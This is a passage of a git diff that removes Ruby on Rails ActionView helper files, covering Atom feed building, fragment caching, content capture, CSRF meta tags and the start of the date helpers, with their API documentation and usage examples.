- # font_path("/dir/font.ttf") # => /dir/font.ttf
- # font_path("http://www.example.com/dir/font.ttf") # => http://www.example.com/dir/font.ttf
- def font_path(source, options = {})
- path_to_asset(source, {type: :font}.merge!(options))
- end
- alias_method :path_to_font, :font_path # aliased to avoid conflicts with an font_path named route
-
- # Computes the full URL to a font asset.
- # This will use +font_path+ internally, so most of their behaviors will be the same.
- def font_url(source, options = {})
- url_to_asset(source, {type: :font}.merge!(options))
- end
- alias_method :url_to_font, :font_url # aliased to avoid conflicts with an font_url named route
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/atom_feed_helper.rb b/actionpack/lib/action_view/helpers/atom_feed_helper.rb
deleted file mode 100644
index 42b1dd8933..0000000000
--- a/actionpack/lib/action_view/helpers/atom_feed_helper.rb
+++ /dev/null
@@ -1,203 +0,0 @@
-require 'set'
-
-module ActionView
- # = Action View Atom Feed Helpers
- module Helpers
- module AtomFeedHelper
- # Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
- # template languages).
- #
- # Full usage example:
- #
- # config/routes.rb:
- # Basecamp::Application.routes.draw do
- # resources :posts
- # root to: "posts#index"
- # end
- #
- # app/controllers/posts_controller.rb:
- # class PostsController < ApplicationController::Base
- # # GET /posts.html
- # # GET /posts.atom
- # def index
- # @posts = Post.all
- #
- # respond_to do |format|
- # format.html
- # format.atom
- # end
- # end
- # end
- #
- # app/views/posts/index.atom.builder:
- # atom_feed do |feed|
- # feed.title("My great blog!")
- # feed.updated(@posts[0].created_at) if @posts.length > 0
- #
- # @posts.each do |post|
- # feed.entry(post) do |entry|
- # entry.title(post.title)
- # entry.content(post.body, type: 'html')
- #
- # entry.author do |author|
- # author.name("DHH")
- # end
- # end
- # end
- # end
- #
- # The options for atom_feed are:
- #
- # * <tt>:language</tt>: Defaults to "en-US".
- # * <tt>:root_url</tt>: The HTML alternative that this feed is doubling for. Defaults to / on the current host.
- # * <tt>:url</tt>: The URL for this feed. Defaults to the current URL.
- # * <tt>:id</tt>: The id for this feed. Defaults to "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}"
- # * <tt>:schema_date</tt>: The date at which the tag scheme for the feed was first used. A good default is the year you
- # created the feed. See http://feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified,
- # 2005 is used (as an "I don't care" value).
- # * <tt>:instruct</tt>: Hash of XML processing instructions in the form {target => {attribute => value, }} or {target => [{attribute => value, }, ]}
- #
- # Other namespaces can be added to the root element:
- #
- # app/views/posts/index.atom.builder:
- # atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
- # 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
- # feed.title("My great blog!")
- # feed.updated((@posts.first.created_at))
- # feed.tag!(openSearch:totalResults, 10)
- #
- # @posts.each do |post|
- # feed.entry(post) do |entry|
- # entry.title(post.title)
- # entry.content(post.body, type: 'html')
- # entry.tag!('app:edited', Time.now)
- #
- # entry.author do |author|
- # author.name("DHH")
- # end
- # end
- # end
- # end
- #
- # The Atom spec defines five elements (content rights title subtitle
- # summary) which may directly contain xhtml content if type: 'xhtml'
- # is specified as an attribute. If so, this helper will take care of
- # the enclosing div and xhtml namespace declaration. Example usage:
- #
- # entry.summary type: 'xhtml' do |xhtml|
- # xhtml.p pluralize(order.line_items.count, "line item")
- # xhtml.p "Shipped to #{order.address}"
- # xhtml.p "Paid by #{order.pay_type}"
- # end
- #
- #
- # <tt>atom_feed</tt> yields an +AtomFeedBuilder+ instance. Nested elements yield
- # an +AtomBuilder+ instance.
- def atom_feed(options = {}, &block)
- if options[:schema_date]
- options[:schema_date] = options[:schema_date].strftime("%Y-%m-%d") if options[:schema_date].respond_to?(:strftime)
- else
- options[:schema_date] = "2005" # The Atom spec copyright date
- end
-
- xml = options.delete(:xml) || eval("xml", block.binding)
- xml.instruct!
- if options[:instruct]
- options[:instruct].each do |target,attrs|
- if attrs.respond_to?(:keys)
- xml.instruct!(target, attrs)
- elsif attrs.respond_to?(:each)
- attrs.each { |attr_group| xml.instruct!(target, attr_group) }
- end
- end
- end
-
- feed_opts = {"xml:lang" => options[:language] || "en-US", "xmlns" => 'http://www.w3.org/2005/Atom'}
- feed_opts.merge!(options).reject!{|k,v| !k.to_s.match(/^xml/)}
-
- xml.feed(feed_opts) do
- xml.id(options[:id] || "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}")
- xml.link(:rel => 'alternate', :type => 'text/html', :href => options[:root_url] || (request.protocol + request.host_with_port))
- xml.link(:rel => 'self', :type => 'application/atom+xml', :href => options[:url] || request.url)
-
- yield AtomFeedBuilder.new(xml, self, options)
- end
- end
-
- class AtomBuilder #:nodoc:
- XHTML_TAG_NAMES = %w(content rights title subtitle summary).to_set
-
- def initialize(xml)
- @xml = xml
- end
-
- private
- # Delegate to xml builder, first wrapping the element in a xhtml
- # namespaced div element if the method and arguments indicate
- # that an xhtml_block? is desired.
- def method_missing(method, *arguments, &block)
- if xhtml_block?(method, arguments)
- @xml.__send__(method, *arguments) do
- @xml.div(:xmlns => 'http://www.w3.org/1999/xhtml') do |xhtml|
- block.call(xhtml)
- end
- end
- else
- @xml.__send__(method, *arguments, &block)
- end
- end
-
- # True if the method name matches one of the five elements defined
- # in the Atom spec as potentially containing XHTML content and
- # if type: 'xhtml' is, in fact, specified.
- def xhtml_block?(method, arguments)
- if XHTML_TAG_NAMES.include?(method.to_s)
- last = arguments.last
- last.is_a?(Hash) && last[:type].to_s == 'xhtml'
- end
- end
- end
-
- class AtomFeedBuilder < AtomBuilder #:nodoc:
- def initialize(xml, view, feed_options = {})
- @xml, @view, @feed_options = xml, view, feed_options
- end
-
- # Accepts a Date or Time object and inserts it in the proper format. If nil is passed, current time in UTC is used.
- def updated(date_or_time = nil)
- @xml.updated((date_or_time || Time.now.utc).xmlschema)
- end
-
- # Creates an entry tag for a specific record and prefills the id using class and id.
- #
- # Options:
- #
- # * <tt>:published</tt>: Time first published. Defaults to the created_at attribute on the record if one such exists.
- # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
- # * <tt>:url</tt>: The URL for this entry. Defaults to the polymorphic_url for the record.
- # * <tt>:id</tt>: The ID for this entry. Defaults to "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}"
- # * <tt>:type</tt>: The TYPE for this entry. Defaults to "text/html".
- def entry(record, options = {})
- @xml.entry do
- @xml.id(options[:id] || "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}")
-
- if options[:published] || (record.respond_to?(:created_at) && record.created_at)
- @xml.published((options[:published] || record.created_at).xmlschema)
- end
-
- if options[:updated] || (record.respond_to?(:updated_at) && record.updated_at)
- @xml.updated((options[:updated] || record.updated_at).xmlschema)
- end
-
- type = options.fetch(:type, 'text/html')
-
- @xml.link(:rel => 'alternate', :type => type, :href => options[:url] || @view.polymorphic_url(record))
-
- yield AtomBuilder.new(@xml)
- end
- end
- end
-
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/benchmark_helper.rb b/actionpack/lib/action_view/helpers/benchmark_helper.rb
deleted file mode 100644
index 87fbf8f1a8..0000000000
--- a/actionpack/lib/action_view/helpers/benchmark_helper.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require 'active_support/benchmarkable'
-
-module ActionView
- module Helpers
- module BenchmarkHelper #:nodoc:
- include ActiveSupport::Benchmarkable
-
- def benchmark(*)
- capture { super }
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/cache_helper.rb b/actionpack/lib/action_view/helpers/cache_helper.rb
deleted file mode 100644
index 8693f4f0e4..0000000000
--- a/actionpack/lib/action_view/helpers/cache_helper.rb
+++ /dev/null
@@ -1,181 +0,0 @@
-module ActionView
- # = Action View Cache Helper
- module Helpers
- module CacheHelper
- # This helper exposes a method for caching fragments of a view
- # rather than an entire action or page. This technique is useful
- # caching pieces like menus, lists of newstopics, static HTML
- # fragments, and so on. This method takes a block that contains
- # the content you wish to cache.
- #
- # The best way to use this is by doing key-based cache expiration
- # on top of a cache store like Memcached that'll automatically
- # kick out old entries. For more on key-based expiration, see:
- # http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works
- #
- # When using this method, you list the cache dependency as the name of the cache, like so:
- #
- # <% cache project do %>
- # <b>All the topics on this project</b>
- # <%= render project.topics %>
- # <% end %>
- #
- # This approach will assume that when a new topic is added, you'll touch
- # the project. The cache key generated from this call will be something like:
- #
- # views/projects/123-20120806214154/7a1156131a6928cb0026877f8b749ac9
- # ^class ^id ^updated_at ^template tree digest
- #
- # The cache is thus automatically bumped whenever the project updated_at is touched.
- #
- # If your template cache depends on multiple sources (try to avoid this to keep things simple),
- # you can name all these dependencies as part of an array:
- #
- # <% cache [ project, current_user ] do %>
- # <b>All the topics on this project</b>
- # <%= render project.topics %>
- # <% end %>
- #
- # This will include both records as part of the cache key and updating either of them will
- # expire the cache.
- #
- # ==== Template digest
- #
- # The template digest that's added to the cache key is computed by taking an md5 of the
- # contents of the entire template file. This ensures that your caches will automatically
- # expire when you change the template file.
- #
- # Note that the md5 is taken of the entire template file, not just what's within the
- # cache do/end call. So it's possible that changing something outside of that call will
- # still expire the cache.
- #
- # Additionally, the digestor will automatically look through your template file for
- # explicit and implicit dependencies, and include those as part of the digest.
- #
- # The digestor can be bypassed by passing skip_digest: true as an option to the cache call:
- #
- # <% cache project, skip_digest: true do %>
- # <b>All the topics on this project</b>
- # <%= render project.topics %>
- # <% end %>
- #
- # ==== Implicit dependencies
- #
- # Most template dependencies can be derived from calls to render in the template itself.
- # Here are some examples of render calls that Cache Digests knows how to decode:
- #
- # render partial: "comments/comment", collection: commentable.comments
- # render "comments/comments"
- # render 'comments/comments'
- # render('comments/comments')
- #
- # render "header" => render("comments/header")
- #
- # render(@topic) => render("topics/topic")
- # render(topics) => render("topics/topic")
- # render(message.topics) => render("topics/topic")
- #
- # It's not possible to derive all render calls like that, though. Here are a few examples of things that can't be derived:
- #
- # render group_of_attachments
- # render @project.documents.where(published: true).order('created_at')
- #
- # You will have to rewrite those to the explicit form:
- #
- # render partial: 'attachments/attachment', collection: group_of_attachments
- # render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
- #
- # === Explicit dependencies
- #
- # Some times you'll have template dependencies that can't be derived at all. This is typically
- # the case when you have template rendering that happens in helpers. Here's an example:
- #
- # <%= render_sortable_todolists @project.todolists %>
- #
- # You'll need to use a special comment format to call those out:
- #
- # <%# Template Dependency: todolists/todolist %>
- # <%= render_sortable_todolists @project.todolists %>
- #
- # The pattern used to match these is /# Template Dependency: ([^ ]+)/, so it's important that you type it out just so.
- # You can only declare one template dependency per line.
- #
- # === External dependencies
- #
- # If you use a helper method, for example, inside of a cached block and you then update that helper,
- # you'll have to bump the cache as well. It doesn't really matter how you do it, but the md5 of the template file
- # must change. One recommendation is to simply be explicit in a comment, like:
- #
- # <%# Helper Dependency Updated: May 6, 2012 at 6pm %>
- # <%= some_helper_method(person) %>
- #
- # Now all you'll have to do is change that timestamp when the helper method changes.
- #
- # ==== Conditional caching
- #
- # You can pass :if and :unless options, to conditionally perform or skip the cache.
- #
- # <%= cache @model, if: some_condition(@model) do %>
- #
- def cache(name = {}, options = nil, &block)
- if controller.perform_caching && conditions_match?(options)
- safe_concat(fragment_for(cache_fragment_name(name, options), options, &block))
- else
- yield
- end
-
- nil
- end
-
- # This helper returns the name of a cache key for a given fragment cache
- # call. By supplying skip_digest: true to cache, the digestion of cache
- # fragments can be manually bypassed. This is useful when cache fragments
- # cannot be manually expired unless you know the exact key which is the
- # case when using memcached.
- def cache_fragment_name(name = {}, options = nil)
- skip_digest = options && options[:skip_digest]
-
- if skip_digest
- name
- else
- fragment_name_with_digest(name)
- end
- end
-
- private
-
- def conditions_match?(options)
- !(options && (!options.fetch(:if, true) || options.fetch(:unless, false)))
- end
-
- def fragment_name_with_digest(name) #:nodoc:
- if @virtual_path
- [
- *Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name),
- Digestor.digest(@virtual_path, formats.last.to_sym, lookup_context)
- ]
- else
- name
- end
- end
-
- # TODO: Create an object that has caching read/write on it
- def fragment_for(name = {}, options = nil, &block) #:nodoc:
- if fragment = controller.read_fragment(name, options)
- fragment
- else
- # VIEW TODO: Make #capture usable outside of ERB
- # This dance is needed because Builder can't use capture
- pos = output_buffer.length
- yield
- output_safe = output_buffer.html_safe?
- fragment = output_buffer.slice!(pos..-1)
- if output_safe
- self.output_buffer = output_buffer.class.new(output_buffer)
- end
- controller.write_fragment(name, fragment, options)
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/capture_helper.rb b/actionpack/lib/action_view/helpers/capture_helper.rb
deleted file mode 100644
index 4ec860d69a..0000000000
--- a/actionpack/lib/action_view/helpers/capture_helper.rb
+++ /dev/null
@@ -1,216 +0,0 @@
-require 'active_support/core_ext/string/output_safety'
-
-module ActionView
- # = Action View Capture Helper
- module Helpers
- # CaptureHelper exposes methods to let you extract generated markup which
- # can be used in other parts of a template or layout file.
- #
- # It provides a method to capture blocks into variables through capture and
- # a way to capture a block of markup for use in a layout through content_for.
- module CaptureHelper
- # The capture method allows you to extract part of a template into a
- # variable. You can then use this variable anywhere in your templates or layout.
- #
- # The capture method can be used in ERB templates...
- #
- # <% @greeting = capture do %>
- # Welcome to my shiny new web page! The date and time is
- # <%= Time.now %>
- # <% end %>
- #
- # ...and Builder (RXML) templates.
- #
- # @timestamp = capture do
- # "The current timestamp is #{Time.now}."
- # end
- #
- # You can then use that variable anywhere else. For example:
- #
- # <html>
- # <head><title><%= @greeting %></title></head>
- # <body>
- # <b><%= @greeting %></b>
- # </body></html>
- #
- def capture(*args)
- value = nil
- buffer = with_output_buffer { value = yield(*args) }
- if string = buffer.presence || value and string.is_a?(String)
- ERB::Util.html_escape string
- end
- end
-
- # Calling content_for stores a block of markup in an identifier for later use.
- # In order to access this stored content in other templates, helper modules
- # or the layout, you would pass the identifier as an argument to <tt>content_for</tt>.
- #
- # Note: <tt>yield</tt> can still be used to retrieve the stored content, but calling
- # <tt>yield</tt> doesn't work in helper modules, while <tt>content_for</tt> does.
- #
- # <% content_for :not_authorized do %>
- # alert('You are not authorized to do that!')
- # <% end %>
- #
- # You can then use <tt>content_for :not_authorized</tt> anywhere in your templates.
- #
- # <%= content_for :not_authorized if current_user.nil? %>
- #
- # This is equivalent to:
- #
- # <%= yield :not_authorized if current_user.nil? %>
- #
- # <tt>content_for</tt>, however, can also be used in helper modules.
- #
- # module StorageHelper
- # def stored_content
- # content_for(:storage) || "Your storage is empty"
- # end
- # end
- #
- # This helper works just like normal helpers.
- #
- # <%= stored_content %>
- #
- # You can also use the <tt>yield</tt> syntax alongside an existing call to
- # <tt>yield</tt> in a layout. For example:
- #
- # <%# This is the layout %>
- # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
- # <head>
- # <title>My Website</title>
- # <%= yield :script %>
- # </head>
- # <body>
- # <%= yield %>
- # </body>
- # </html>
- #
- # And now, we'll create a view that has a <tt>content_for</tt> call that
- # creates the <tt>script</tt> identifier.
- #
- # <%# This is our view %>
- # Please login!
- #
- # <% content_for :script do %>
- # <script>alert('You are not authorized to view this page!')</script>
- # <% end %>
- #
- # Then, in another view, you could to do something like this:
- #
- # <%= link_to 'Logout', action: 'logout', remote: true %>
- #
- # <% content_for :script do %>
- # <%= javascript_include_tag :defaults %>
- # <% end %>
- #
- # That will place +script+ tags for your default set of JavaScript files on the page;
- # this technique is useful if you'll only be using these scripts in a few views.
- #
- # Note that content_for concatenates (default) the blocks it is given for a particular
- # identifier in order. For example:
- #
- # <% content_for :navigation do %>
- # <li><%= link_to 'Home', action: 'index' %></li>
- # <% end %>
- #
- # And in other place:
- #
- # <% content_for :navigation do %>
- # <li><%= link_to 'Login', action: 'login' %></li>
- # <% end %>
- #
- # Then, in another template or layout, this code would render both links in order:
- #
- # <ul><%= content_for :navigation %></ul>
- #
- # If the flush parameter is true content_for replaces the blocks it is given. For example:
- #
- # <% content_for :navigation do %>
- # <li><%= link_to 'Home', action: 'index' %></li>
- # <% end %>
- #
- # <%# Add some other content, or use a different template: %>
- #
- # <% content_for :navigation, flush: true do %>
- # <li><%= link_to 'Login', action: 'login' %></li>
- # <% end %>
- #
- # Then, in another template or layout, this code would render only the last link:
- #
- # <ul><%= content_for :navigation %></ul>
- #
- # Lastly, simple content can be passed as a parameter:
- #
- # <% content_for :script, javascript_include_tag(:defaults) %>
- #
- # WARNING: content_for is ignored in caches. So you shouldn't use it for elements that will be fragment cached.
- def content_for(name, content = nil, options = {}, &block)
- if content || block_given?
- if block_given?
- options = content if content
- content = capture(&block)
- end
- if content
- options[:flush] ? @view_flow.set(name, content) : @view_flow.append(name, content)
- end
- nil
- else
- @view_flow.get(name)
- end
- end
-
- # The same as +content_for+ but when used with streaming flushes
- # straight back to the layout. In other words, if you want to
- # concatenate several times to the same buffer when rendering a given
- # template, you should use +content_for+, if not, use +provide+ to tell
- # the layout to stop looking for more contents.
- def provide(name, content = nil, &block)
- content = capture(&block) if block_given?
- result = @view_flow.append!(name, content) if content
- result unless content
- end
-
- # content_for? checks whether any content has been captured yet using `content_for`.
- # Useful to render parts of your layout differently based on what is in your views.
- #
- # <%# This is the layout %>
- # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
- # <head>
- # <title>My Website</title>
- # <%= yield :script %>
- # </head>
- # <body class="<%= content_for?(:right_col) ? 'one-column' : 'two-column' %>">
- # <%= yield %>
- # <%= yield :right_col %>
- # </body>
- # </html>
- def content_for?(name)
- @view_flow.get(name).present?
- end
-
- # Use an alternate output buffer for the duration of the block.
- # Defaults to a new empty string.
- def with_output_buffer(buf = nil) #:nodoc:
- unless buf
- buf = ActionView::OutputBuffer.new
- buf.force_encoding(output_buffer.encoding) if output_buffer
- end
- self.output_buffer, old_buffer = buf, output_buffer
- yield
- output_buffer
- ensure
- self.output_buffer = old_buffer
- end
-
- # Add the output buffer to the response body and start a new one.
- def flush_output_buffer #:nodoc:
- if output_buffer && !output_buffer.empty?
- response.stream.write output_buffer
- self.output_buffer = output_buffer.respond_to?(:clone_empty) ? output_buffer.clone_empty : output_buffer[0, 0]
- nil
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/csrf_helper.rb b/actionpack/lib/action_view/helpers/csrf_helper.rb
deleted file mode 100644
index eeb0ed94b9..0000000000
--- a/actionpack/lib/action_view/helpers/csrf_helper.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-module ActionView
- # = Action View CSRF Helper
- module Helpers
- module CsrfHelper
- # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
- # request forgery protection parameter and token, respectively.
- #
- # <head>
- # <%= csrf_meta_tags %>
- # </head>
- #
- # These are used to generate the dynamic forms that implement non-remote links with
- # <tt>:method</tt>.
- #
- # Note that regular forms generate hidden fields, and that Ajax calls are whitelisted,
- # so they do not use these tags.
- def csrf_meta_tags
- if protect_against_forgery?
- [
- tag('meta', :name => 'csrf-param', :content => request_forgery_protection_token),
- tag('meta', :name => 'csrf-token', :content => form_authenticity_token)
- ].join("\n").html_safe
- end
- end
-
- # For backwards compatibility.
- alias csrf_meta_tag csrf_meta_tags
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb
deleted file mode 100644
index 1fbf61a5a9..0000000000
--- a/actionpack/lib/action_view/helpers/date_helper.rb
+++ /dev/null
@@ -1,1050 +0,0 @@
-require 'date'
-require 'action_view/helpers/tag_helper'
-require 'active_support/core_ext/date/conversions'
-require 'active_support/core_ext/hash/slice'
-require 'active_support/core_ext/object/with_options'
-
-module ActionView
- module Helpers
- # = Action View Date Helpers
- #
- # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
- # elements. All of the select-type methods share a number of common options that are as follows:
- #
- # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
- # would give \birthday[month] instead of \date[month] if passed to the <tt>select_month</tt> method.
- # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
- # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
- # the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
- # of \date[month].
- module DateHelper
- # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
- # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
- # Distances are reported based on the following table:
- #
- # 0 <-> 29 secs # => less than a minute
- # 30 secs <-> 1 min, 29 secs # => 1 minute
- # 1 min, 30 secs <-> 44 mins, 29 secs # => [2..44] minutes
- # 44 mins, 30 secs <-> 89 mins, 29 secs # => about 1 hour
- # 89 mins, 30 secs <-> 23 hrs, 59 mins, 29 secs # => about [2..24] hours
- # 23 hrs, 59 mins, 30 secs <-> 41 hrs, 59 mins, 29 secs # => 1 day
- # 41 hrs, 59 mins, 30 secs <-> 29 days, 23 hrs, 59 mins, 29 secs # => [2..29] days
- # 29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs # => about 1 month
- # 44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs # => about 2 months
- # 59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec # => [2..12] months
- # 1 yr <-> 1 yr, 3 months # => about 1 year
- # 1 yr, 3 months <-> 1 yr, 9 months # => over 1 year
- # 1 yr, 9 months <-> 2 yr minus 1 sec # => almost 2 years
- # 2 yrs <-> max time or date # => (same rules as 1 yr)
- #
- # With <tt>include_seconds: true</tt> and the difference < 1 minute 29 seconds:
- # 0-4 secs # => less than 5 seconds
- # 5-9 secs # => less than 10 seconds
- # 10-19 secs # => less than 20 seconds
- # 20-39 secs # => half a minute
- # 40-59 secs # => less than a minute
- # 60-89 secs # => 1 minute
- #
- # from_time = Time.now
- # distance_of_time_in_words(from_time, from_time + 50.minutes) # => about 1 hour
- # distance_of_time_in_words(from_time, 50.minutes.from_now) # => about 1 hour
- # distance_of_time_in_words(from_time, from_time + 15.seconds) # => less than a minute
- # distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true) # => less than 20 seconds
- # distance_of_time_in_words(from_time, 3.years.from_now) # => about 3 years
- # distance_of_time_in_words(from_time, from_time + 60.hours) # => 3 days
- # distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true) # => less than a minute
- # distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true) # => less than a minute
- # distance_of_time_in_words(from_time, 76.seconds.from_now) # => 1 minute
- # distance_of_time_in_words(from_time, from_time + 1.year + 3.days) # => about 1 year
- # distance_of_time_in_words(from_time, from_time + 3.years + 6.months) # => over 3 years
- # distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
- #
- # to_time = Time.now + 6.years + 19.days
- # distance_of_time_in_words(from_time, to_time, include_seconds: true) # => about 6 years
- # distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years
- # distance_of_time_in_words(Time.now, Time.now) # => less than a minute
- def distance_of_time_in_words(from_time, to_time = 0, include_seconds_or_options = {}, options = {})
- if include_seconds_or_options.is_a?(Hash)
- options = include_seconds_or_options
- else
- ActiveSupport::Deprecation.warn "distance_of_time_in_words and time_ago_in_words now accept :include_seconds " +
- "as a part of options hash, not a boolean argument"
- options[:include_seconds] ||= !!include_seconds_or_options
- end
-
- options = {
- scope: :'datetime.distance_in_words'
- }.merge!(options)
-
- from_time = from_time.to_time if from_time.respond_to?(:to_time)
- to_time = to_time.to_time if to_time.respond_to?(:to_time)
- from_time, to_time = to_time, from_time if from_time > to_time
- distance_in_minutes = ((to_time - from_time)/60.0).round
- distance_in_seconds = (to_time - from_time).round
-
- I18n.with_options :locale => options[:locale], :scope => options[:scope] do |locale|
- case distance_in_minutes
- when 0..1
- return distance_in_minutes == 0 ?
- locale.t(:less_than_x_minutes, :count => 1) :
- locale.t(:x_minutes, :count => distance_in_minutes) unless options[:include_seconds]
-
- case distance_in_seconds
- when 0..4 then locale.t :less_than_x_seconds, :count => 5
- when 5..9 then locale.t :less_than_x_seconds, :count => 10
- when 10..19 then locale.t :less_than_x_seconds, :count => 20
- when 20..39 then locale.t :half_a_minute
- when 40..59 then locale.t :less_than_x_minutes, :count => 1
- else locale.t :x_minutes, :count => 1
- end
-
- when 2...45 then locale.t :x_minutes, :count => distance_in_minutes
- when 45...90 then locale.t :about_x_hours, :count => 1
- # 90 mins up to 24 hours
- when 90...1440 then locale.t :about_x_hours, :count => (distance_in_minutes.to_f / 60.0).round
- # 24 hours up to 42 hours
- when 1440...2520 then locale.t :x_days, :count => 1
- # 42 hours up to 30 days
- when 2520...43200 then locale.t :x_days, :count => (distance_in_minutes.to_f / 1440.0).round
- # 30 days up to 60 days
- when 43200...86400 then locale.t :about_x_months, :count => (distance_in_minutes.to_f / 43200.0).round
- # 60 days up to 365 days
- when 86400...525600 then locale.t :x_months, :count => (distance_in_minutes.to_f / 43200.0).round
- else
- if from_time.acts_like?(:time) && to_time.acts_like?(:time)
- fyear = from_time.year
- fyear += 1 if from_time.month >= 3
- tyear = to_time.year
- tyear -= 1 if to_time.month < 3
- leap_years = (fyear > tyear) ? 0 : (fyear..tyear).count{|x| Date.leap?(x)}
- minute_offset_for_leap_year = leap_years * 1440
- # Discount the leap year days when calculating year distance.
- # e.g. if there are 20 leap year days between 2 dates having the same day
- # and month then the based on 365 days calculation
- # the distance in years will come out to over 80 years when in written
- # english it would read better as about 80 years.
- minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
- else
- minutes_with_offset = distance_in_minutes
- end
- remainder = (minutes_with_offset % 525600)
- distance_in_years = (minutes_with_offset.div 525600)
- if remainder < 131400
- locale.t(:about_x_years, :count => distance_in_years)
- elsif remainder < 394200
- locale.t(:over_x_years, :count => distance_in_years)
- else
- locale.t(:almost_x_years, :count => distance_in_years + 1)
- end
- end
- end
- end
-
- # Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
- #
- # time_ago_in_words(3.minutes.from_now) # => 3 minutes
- # time_ago_in_words(3.minutes.ago) # => 3 minutes
- # time_ago_in_words(Time.now - 15.hours) # => about 15 hours
- # time_ago_in_words(Time.now) # => less than a minute
- # time_ago_in_words(Time.now, include_seconds: true) # => less than 5 seconds
- #
- # from_time = Time.now - 3.days - 14.minutes - 25.seconds
- # time_ago_in_words(from_time) # => 3 days
- #
- # from_time = (3.days + 14.minutes + 25.seconds).ago
- # time_ago_in_words(from_time) # => 3 days
- #
- # Note that you cannot pass a <tt>Numeric</tt> value to <tt>time_ago_in_words</tt>.
- #
- def time_ago_in_words(from_time, include_seconds_or_options = {})
- distance_of_time_in_words(from_time, Time.now, include_seconds_or_options)
- end
-
- alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
-
- # Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
- # attribute (identified by +method+) on an object assigned to the template (identified by +object+).
- #
- # ==== Options
- # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
- # "2" instead of "February").
- # * <tt>:use_two_digit_numbers</tt> - Set to true if you want to display two digit month and day numbers (e.g.
- # "02" instead of "February" and "08" instead of "8").
- # * <tt>:use_short_month</tt> - Set to true if you want to use abbreviated month names instead of full
- # month names (e.g. "Feb" instead of "February").
- # * <tt>:add_month_numbers</tt> - Set to true if you want to use both month numbers and month names (e.g.
- # "2 - February" instead of "February").
- # * <tt>:use_month_names</tt> - Set to an array with 12 month names if you want to customize month names.
- # Note: You can also use Rails' i18n functionality for this.
- # * <tt>:date_separator</tt> - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
- # * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Time.now.year - 5</tt>.
- # * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Time.now.year + 5</tt>.
- # * <tt>:discard_day</tt> - Set to true if you don't want to show a day select. This includes the day
- # as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
- # first of the given month in order to not create invalid dates like 31 February.
- # * <tt>:discard_month</tt> - Set to true if you don't want to show a month select. This includes the month
- # as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
- # * <tt>:discard_year</tt> - Set to true if you don't want to show a year select. This includes the year
- # as a hidden field instead of showing a select field.
- # * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
- # customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
- # select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
- # the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
- # * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty
- # dates.
- # * <tt>:default</tt> - Set a default date if the affected date isn't set or is nil.
- # * <tt>:disabled</tt> - Set to true if you want show the select fields as disabled.
- # * <tt>:prompt</tt> - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
- # for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
- # Setting this option prepends a select option with a generic prompt (Day, Month, Year, Hour, Minute, Seconds)
- # or the given prompt string.
- # * <tt>:with_css_classes</tt> - Set to true if you want assign different styles for 'select' tags. This option
- # automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second' for your 'select' tags.
- #
- # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
- #
